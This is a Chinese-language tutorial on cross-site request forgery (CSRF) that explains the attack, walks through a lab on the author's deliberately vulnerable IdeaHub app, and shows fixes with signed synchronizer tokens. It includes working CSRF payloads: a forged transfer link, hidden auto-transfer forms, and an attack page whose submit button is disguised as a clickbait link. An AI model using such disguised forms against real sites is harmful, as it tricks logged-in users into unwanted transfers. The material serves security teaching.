CSRF漏洞原理、攻击与防御

由于 HTTP 协议是无状态的,需要浏览器协助保存会话信息。当用户在网站上登录后,服务器将认证信息通过 Cookie 等手段保存在浏览器中。随后发起 HTTP 请求时,浏览器将自动携带 Cookie 数据,以此保持认证状态。

用户在网站上的一切操作,比如发邮件、发消息,甚至是银行转账,都是通过 HTTP 请求进行的。只要用户的登录认证信息尚未过期,浏览器就会自动将其带上,从而让 HTTP 请求通过认证。

利用这一点,黑客可以诱导用户在一个已认证过的浏览器上执行非本意操作,并从中非法牟利。这就是臭名昭著的 跨站请求伪造cross-site request forgery ),简称 CSRF

CSRF 利用网站对用户浏览器的信任,诱导用户访问一个自己登录过的网站,并发出非本意的请求。因为像 Cookie 这样的简单身份验证机制,只能保证请求是由认证过的浏览器发出的,而不能保证请求一定出于用户本意。

攻击原理

HTTP 是一种无状态的应用协议,请求和请求之间在协议层面是互相独立的。因此,Web 网站通常在用户登录后,将认证信息保存在浏览器 Cookie 中,以便后续的请求能够顺利通过认证。以某银行网银 somebank.com 为例:

  1. 用户在登录表单输入账号密码,点击按钮发起登录请求;
  2. 服务器检查账号密码,验证通过则设置一个 Cookie ,保存认证信息;
  3. 浏览器后续发起请求时,将自动携带 Cookie ,从而保持住登录状态;
  4. Cookie 失效后,HTTP 请求因失去登录状态而失败;

如果黑客利用这个特性,诱导用户发起其精心捏造的 HTTP 请求,后果将不堪设想。

举个例子,假设某网银的转账接口为 GET 请求,参数如下:

1
http://somebank.com/api/withdraw?amount={金额}&for={接收人}

如果黑客想让别人给自己转 1000 块钱,只要想办法让他登录网银后,请求这个 URL 即可:

http://somebank.com/api/withdraw?amount=1000&for=hacker

换句话讲,任何登录过网银(尚未失效)的人,只要访问这个 URL 一次,就给黑客转 1000 块钱!因此,只要黑客能够诱导用户访问这个 URL ,就能源源不断地收黑钱!

诱导用户访问 URL 并非难事,将其做成一个劲爆链接即可:

1
<a href="http://somebank.com/api/withdraw?amount=amount&for=hacker">劲爆标题</a>

只要标题足够有吸引力,用户就会点击。但他不知道的是,链接地址其实是网银转账接口的地址!如果他用浏览器登录过该网银(且尚未失效),一点击连接就发起转账请求,给黑客转 1000 块钱!

您可能会说,GET 请求才能通过链接诱导用户发起,改成 POST 请求就安全了。GET 请求限制确实比 POST 少,从这个角度看 POST 是比 GET 要安全一些。但 POST 请求也不是绝对安全的,它虽然无法通过链接简单触发,但可以借助表单来触发。

1
2
3
4
5
<form action="http://somebank.com/api/withdraw" method="post">
  <input type="hidden" name="amount" value="amount">
  <input type="hidden" name="for" value="hacker">
  <input type="submit" value="劲爆标题">
</form>

攻击实验

笔者提供了一个带有 CSRF 漏洞的 Web 应用 IdeaHub ,可以用来练习 CSRF 攻击。如果您看过 SQL注入XSS 相关章节,对它应该不陌生。CSRF 漏洞位于应用的打赏接口 POST /reward ,接口处理逻辑如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@app.route("/reward", methods=['GET', 'POST'])
@catch_exception
@ensure_login
def reward(current_user, db, cursor):
    receiver_id = request.args.get('receiver_id')
    if not receiver_id:
        return render_template('message.html', current_user=current_user, msg='No receiver id', msgtype="fail")

    cursor.execute('SELECT * FROM Users WHERE id=?', (int(receiver_id),))
    receivers = cursor.fetchall()
    if not receivers:
        return render_template('message.html', current_user=current_user, msg='Bad receiver id: {}'.format(receiver_id), msgtype="fail")

    receiver = receivers[0]

    if request.method == 'GET':
        return render_template('reward.html', current_user=current_user, receiver=receiver)

    coins = int(request.form.get('coins'))
    if coins <= 0:
        return render_template('reward.html', current_user=current_user, receiver=receiver, msg="Coins not valid!", msgtype="fail")

    if current_user['coins'] < coins:
        return render_template('reward.html', current_user=current_user, receiver=receiver, msg="Coins not enough", msgtype="fail")

    result = cursor.execute('UPDATE Users Set coins=coins-? WHERE id=? AND coins>=?', (coins, current_user['id'], coins))
    if not result.rowcount:
        return render_template('reward.html', current_user=current_user, receiver=receiver, msg="Coins not enough", msgtype="fail")

    cursor.execute('UPDATE Users Set coins=coins+? WHERE id=?', (coins, receiver['id']))
    if not result.rowcount:
        return render_template('reward.html', receiver=receiver, msg="Coin transfer failed", msgtype="fail")

    db.commit()

    return render_template('reward.html', receiver=receiver, msg="{} coins rewarded to {} successfully".format(coins, receiver['username']), msgtype="success")

在用户登录尚未失效的前提下,接口从 POST 上来的表单中取出相关参数后,便执行金币转账操作。因此,黑客可以制作一个隐藏表单,再诱导用户点击表单提交按钮。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!doctype html>
<html>
  <head>
    <title>What to make money?</title>
  </head>
  <style>
    img {
      max-width: 480px;
    }
    input {
      border: none;
      background-color: white;
      text-decoration: underline;
      font-size: larger;
    }
    input:hover {
      cursor: pointer;
    }
  </style>
  <body>
    <form action="http://localhost:5000/reward?receiver_id=2" method="post">
      <input type="hidden" name="coins" value="10">
      <input type="submit" value="To see how to make one million dollars in one year!">
    </form>
    <img src="https://cdn.fasionchan.com/p/2009d0231d05c6a9dea6722c0aa55914954d7355.jpeg">
  </body>
</html>

请看攻击代码示例,这是一个 form 表单,采用 POST 方法提交给 http://localhost:5000/reward?receiver_id=2 ,即 IdeaHub 的打赏接口。其中,金币接收人通过 receiver_id 指定为黑客的 ID ,而打赏数额则通过隐藏字段 coins 来提交。

注意到,表单提交按钮被 CSS 样式伪装成一个普通链接。只要配上一个劲爆的标题和图片,浏览这个网页的用户就很有可能会点开看看。如果他登录过 IdeaHub 而且尚未失效,接口请求就会成功。这相当于向黑客打赏金币,而且自己完全不知情!

实验环境

我将这个应用打包成一个镜像,只要安装了 Docker 环境,即可用这个命令一键启动:

1
docker run -it --rm -h IdeaHub -p 5000:5000 docker.io/fasionchan/ideahub:1.0

实验环境启动后,可以在屏幕中看到两个窗口:左边窗口跑着 Web 服务,可以看到它的日志输出;右边窗口是一个 shell 命令行,可以用来执行一些命令。

如何在不同窗口间进行切换呢? 我们来复习一下 tmux 窗口切换操作:

  1. 按下 tmux 功能键 Ctrl-B
  2. 再按下 Q ,这时每个窗口会出现一个数字;
  3. 按下窗口上的数字,即可切到对应的窗口;

这个 docker 命令将容器的服务端口 5000 映射到宿主机,因此只需在浏览器中输入 URL http://localhost:5000 ,即可访问部署好的应用,来到登录页。

已知系统中有 alicebillericlucy 等用户,可以随便选一个来登录。登进去后,可以到金币排行榜 http://localhost:5000/rank 查看自己的金币数量。笔者扮演黑客角色,请顺便留意下我的账号 fasion 下的金币。

用户 密码
alice alice123
bill bill123
eric eric123
lucy lucy123

笔者将攻击网页部署在 https://cors.fasionchan.com/network-lab/csrf-hacking.html ,打开可以看到一个图片和一个如何年入百万的链接。很想点开看看是不是?那就点吧!点之前请确保已经登录过 IdeaHub

攻击网页内部其实是一个表单,点击链接就将表单提交到 IdeaHub ,向 fasion 打赏 10 个金币!刷新金币排行榜,看看自己的金币是不是少了 10 个,而 fasion 的金币是不是多了 10 个!

这也太可怕了吧!我以为在另一个网站 cors.fasionchan.com 上操作,结果被诱导到 IdeaHub 上做转账,而且毫不知情!这就是 CSRF 攻击的典型案例,核心在于利用 IdeaHub 对当前浏览器的信任(登录未失效)。

一些版本较新的现代浏览器,从一个域名请求另一个域名时,不允许携带 Cookie 数据。比如 Chrome 内置了一个新特性 SameSiteByDefaultCookies ,仅允许来自同一站点的请求携带 Cookie

因此,在 cors.fasionchan.com 将表单提交给 localhost:5000 时,Chrome 不会携带 Cookie ,也就无法完成攻击实验了。不过我们可以换一个安全策略宽松一点的浏览器来实验,比如 Firefox

防御手段

CSRF 漏洞危害很大,该如何防御呢?

您可能会有疑问,刚刚不是提到:现代浏览器已经有一些安全保护了吗?还需要特地防御吗?我们不知道用户到底使用什么浏览器,很有可能是非常老旧的浏览器。因此,我们不能将安全都寄托在浏览器身上。

想要防御 CSRF 攻击,后端除了验证浏览器登录信息外,还需要做额外的检验。

  • Referer 检验;
  • 同步令牌检验;
  • 验证码校验;

Referer

按照 HTTP 协议规范,浏览器发起请求会通过 Referer 头部,将来源页面地址告诉服务器。因此,服务端只需检查 Referer 中的域名,将从外部网站过来的请求拦截即可。

这个方法非常简单,实现成本也很低,但可靠性不高。因为 Referer 头部是浏览器负责提交的,并不是所有浏览器都会按照规范做。如果浏览器有漏洞,同样会被利用。因此,保险起见,不能将生命线交给浏览器。

同步令牌检验

当用户请求网页时,后端随机生成一个令牌作为隐藏字段嵌在 HTML 表单中。当用户提交表单时,令牌也会作为其中一个字段发送到服务器,服务器检查令牌跟自己生成的是否匹配。这样确保黑客进行 CSRF 攻击时,由于令牌缺失而无法通过校验。

现在,我们尝试对 IdeaHub 加以改造,修复 CSRF 漏洞。我们将用户 ID 进行签名后作为令牌嵌入表单隐藏字段,收到表单提交后对令牌进行签名验证,再对比用户 ID 是否匹配。

先补充一点数据签名的基础知识,以 itsdangerous.TimestampSigner 为例,首先初始化一个签名器:

1
2
3
4
from itsdangerous import TimestampSigner

SECRET_KEY = 'secret key'
signer = TimestampSigner(SECRET_KEY)

参数为签名秘钥,这是防伪的关键,必须妥善保管,不可泄露。

有了签名器后,我们就可以对数据进行签名:

1
2
3
>>> data = 'hello world'
>>> signer.sign(data)
b'hello world.YlEkVA.TFWR8pxQhUyUgyqHDu6vO53za08'

结果包含 原数据时间戳签名 ,中间以英文句点分隔。可以调用 unsign 方法对结果进行验证,验证通过则返回原数据:

1
2
>>> signer.unsign(b'hello world.YlEkVA.TFWR8pxQhUyUgyqHDu6vO53za08')
b'hello world'

数据签名可以有效防御数据伪造和篡改,我们便利用这个特性对用户 ID 进行签名后作为 CSRF 防御令牌:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
signer = TimestampSigner(SECRET_KEY)

def current_user_id_in_bytes():
    user_id = session.get('user_id')
    return str(user_id).encode()

def new_csrf_token():
    return signer.sign(current_user_id_in_bytes()).decode()

def validate_csrf_token(token, max_age=None):
    try:
        return signer.unsign(token, max_age=max_age) == current_user_id_in_bytes()
    except:
        return False

@app.context_processor
def utility_processor():
    return dict(new_csrf_token=new_csrf_token)
  • 函数 current_user_id_in_bytes 获取当前用户 ID ,并编码成 bytes 字节序列对象;
  • 函数 new_csrf_token 对当前用户 ID 进行签名,作为 CSRF 防御令牌;
  • 函数 validate_csrf_token 验证 CSRF 防御令牌,它先对令牌签名进行验证,再对比原数据是否为当前用户 ID
  • 函数 utility_processornew_csrf_token 注册到模板引擎上下文,这样我们就可以在模板中生成令牌;

接下来,我们在金币打赏表单中添加隐藏字段 csrf_token ,调用 new_csrf_token 生成一个令牌作为字段值:

1
2
3
4
5
<form class="reward" action="/reward?receiver_id={{ receiver.id }}" method="post">
  <input type="hidden" name="csrf_token" value="{{ new_csrf_token() }}">
  <label>Coins:</label><input type="number" name="coins">
  <input class="primary" type="submit" value="Reward">
</form>

模板引擎渲染完毕后,表单中的隐藏字段大致如下:

1
<input type="hidden" name="csrf_token" value="4.YlFOIQ.TlYS0gGd3XjgZnwKakjfD5Z6RYA">
  • 字段名为 csrf_token
  • 字段值为 CSRF 防御令牌;

最后,我们在打赏表单处理函数中,对 csrf_token 字段中的令牌进行校验,验证不通过则直接报错:

1
2
if not validate_csrf_token(request.form.get('csrf_token')):
    return render_template('reward.html', current_user=current_user, receiver=receiver, msg="CSRF token is not valid!", msgtype="fail")

这样一来,CSRF 漏洞就彻底堵住了。因为没有签名秘钥,黑客无法伪造令牌!

强烈建议大家将 IdeaHub 跑起来,并亲自修复漏洞,进一步加深理解。new_csrf_token 等四个函数已经写好,您只需在 templates/reward.html 模板中的表单添加令牌字段,并在 ideahub.py 中的 reward 函数进行校验即可。

如果您不知如何在命令行下编辑文件,可以试试 nano 命令,简单易用:

  • 执行 nano 加文件路径打开文件,例如:templates/reward.html
  • 用方向键移动光标;
  • Ctrl-O 保存,nano 提示待写入文件名,按回车确认;
  • Ctrl-X 退出编辑,其他操作请看底部提示;

验证码校验

重要接口可以加入短信验证码校验,验证码错误就拦截,这样就彻底杜绝 CSRF 的可能性。

总结

CSRF 漏洞利用网站对用户浏览器的信任,诱导用户访问一个自己登录过的网站,并发出非本意请求,危害很大。为防御 CSRF 攻击,我们可以采用同步令牌校验法,方法很简单:

  1. 生成不可伪造的令牌,并嵌在页面中(例如 form 表单隐藏字段、meta 标签或 JS 代码等);
  2. 客户端请求接口时,同时将令牌送到服务器;
  3. 服务器检查令牌是否正确,并据此拦截恶意请求;

小菜学网络】系列文章首发于公众号【小菜学编程】,敬请关注:

【小菜学网络】系列文章首发于公众号【小菜学编程】,敬请关注: